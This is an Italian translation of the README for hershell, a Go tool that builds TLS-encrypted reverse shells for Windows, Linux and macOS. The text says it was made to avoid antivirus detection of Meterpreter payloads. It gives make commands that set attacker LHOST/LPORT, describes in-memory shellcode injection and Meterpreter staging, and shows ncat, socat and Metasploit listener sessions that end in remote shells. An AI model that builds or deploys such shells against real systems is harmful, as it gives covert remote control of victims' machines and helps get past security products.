
Generatore di reverse shell multipiattaforma
Semplice reverse shell TCP scritta in Go.
Utilizza TLS per proteggere le comunicazioni e fornisce una funzionalità di pinning dell'impronta digitale della chiave pubblica del certificato, prevenendo l'intercettazione del traffico.
I sistemi operativi supportati sono:
Sebbene i payload meterpreter siano ottimi, a volte vengono rilevati dai prodotti antivirus.
L'obiettivo di questo progetto è ottenere una semplice reverse shell, che possa funzionare su più sistemi.
Poiché è scritto in Go, puoi cross-compilare il codice sorgente per l'architettura desiderata.
Poiché questo è un progetto Go, dovrai seguire la documentazione ufficiale per impostare il tuo ambiente Golang (con la variabile d'ambiente $GOPATH).
Quindi, esegui semplicemente go get github.com/lesnuages/hershell per scaricare il progetto.
Per semplificare le cose, puoi usare il Makefile fornito. Puoi impostare le seguenti variabili d'ambiente:
GOOS : il sistema operativo targetGOARCH : l'architettura targetLHOST : l'IP o il nome di dominio dell'attaccanteLPORT : la porta del listenerPer le variabili GOOS e GOARCH, puoi ottenere i valori consentiti qui.
Tuttavia, alcuni target helper sono disponibili nel Makefile:
depends : genera il certificato del server (richiesto per la reverse shell)windows32 : compila un eseguibile Windows a 32 bit (PE 32 bit)windows64 : compila un eseguibile Windows a 64 bit (PE 64 bit)linux32 : compila un eseguibile Linux a 32 bit (ELF 32 bit)linux64 : compila un eseguibile Linux a 64 bit (ELF 64 bit)macos32 : compila un eseguibile macOS a 32 bit (Mach-O)macos64 : compila un eseguibile macOS a 64 bit (Mach-O)Per questi target, devi solo impostare le variabili d'ambiente LHOST e LPORT.
Una volta eseguita, ti verrà fornita una shell remota.
Questa shell interattiva personalizzata ti permetterà di eseguire comandi di sistema tramite cmd.exe su Windows, o /bin/sh su macchine UNIX.
I seguenti comandi speciali sono supportati:
run_shell : ti apre una shell di sistema (permettendoti, ad esempio, di cambiare directory)inject <shellcode base64> : inietta uno shellcode (codificato in base64) nella memoria dello stesso processo e lo eseguemeterpreter [tcp|http|https] IP:PORTA : si connette a un multi/handler per ottenere un meterpreter stage2 reverse tcp, http o https da metasploit ed esegue lo shellcode in memoria (solo Windows al momento)exit : esce normalmentePrima di tutto, dovrai generare un certificato valido:
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem
Per Windows:
# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234
Per Linux:
# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234
Per Mac OS X:
$ make macos LHOST=192.168.0.12 LPORT=1234
Si possono usare vari strumenti per gestire le connessioni in entrata, come:
python/shell_reverse_tcp_ssl)Ecco un esempio con ncat:
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab
Ecco un esempio con socat (testato con la versione 1.7.3.2):
$ socat `tty` OPENSSL-LISTEN:1234,reuseaddr,cert=server.pem,key=server.key,verify=0
# connection would be initiated here
[hershell]> whoami
desktop-3pvv31a\lab
AVVERTENZA: attualmente funziona solo per la piattaforma Windows.
Lo staging meterpreter supporta attualmente i seguenti payload :
windows/meterpreter/reverse_tcpwindows/x64/meterpreter/reverse_tcpwindows/meterpreter/reverse_httpwindows/x64/meterpreter/reverse_httpwindows/meterpreter/reverse_httpswindows/x64/meterpreter/reverse_httpsPer usare quello corretto, specifica semplicemente il trasporto che vuoi utilizzare (tcp, http, https)
Per utilizzare la funzionalità di staging meterpreter, avvia il tuo handler:
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
Quindi, in hershell, usa il comando meterpreter:
[hershell]> meterpreter https 172.16.122.105:8443
Una nuova sessione meterpreter dovrebbe apparire in msfconsole:
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100
[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A 172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)
[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab
@khast3x per la funzionalità Dockerfile